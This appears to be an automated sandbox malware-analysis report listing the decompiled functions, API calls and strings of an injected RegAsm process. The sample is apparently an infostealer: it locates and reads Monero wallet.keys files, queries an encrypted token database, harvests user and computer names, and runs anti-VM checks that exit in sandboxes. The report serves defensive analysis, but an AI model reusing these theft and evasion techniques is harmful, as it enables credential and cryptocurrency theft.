Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00401310 Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,01501740,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335
wallet_path, xrefs: 00401330
\Monero\wallet.keys, xrefs: 0040138D

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrcat$File$AllocHeapLocallstrlenmemset$CloseCreateFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 575717205-218353709
Opcode ID: 35bd72a9113463a367d23b3699422e00cacb29ac60c05851abf7d94b364ceda1
Instruction ID: 953294376e47f8e4316e7e62fd6b04658e6323c3fb6fa537345fd6b82421038a
Opcode Fuzzy Hash: 35bd72a9113463a367d23b3699422e00cacb29ac60c05851abf7d94b364ceda1
Instruction Fuzzy Hash: 395175B1D5011867CB14EB61DC96FED733CAF50314F4041ADB60A62092EE786BD9CFAA

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountId, xrefs: 0040BB02
AccountTokens, xrefs: 0040B9A9
AccountTokens, xrefs: 0040B91A
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: f0dd8f96928fb00004bcac7f673c71514e1c67c0a3dc722c159aec02f76ad478
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: f0dd8f96928fb00004bcac7f673c71514e1c67c0a3dc722c159aec02f76ad478
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014EF328), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014EF208), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014EF3A0), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014EF220), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014EF460), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014F2EC8), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014F2888), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014F2688), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014EF238), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014EF2E0), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014EF3B8), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014EF2C8), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014F2708), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,014EF2F8), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: CreateDCA.GDI32(014FA9D8,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLCID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014FAA38,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,014FAA38,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,014FAA38,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00417130 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,014FC5F8,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,01502A98,00000000,00000000,?,000000FF), ref: 0041719E

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,014FC5F8,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
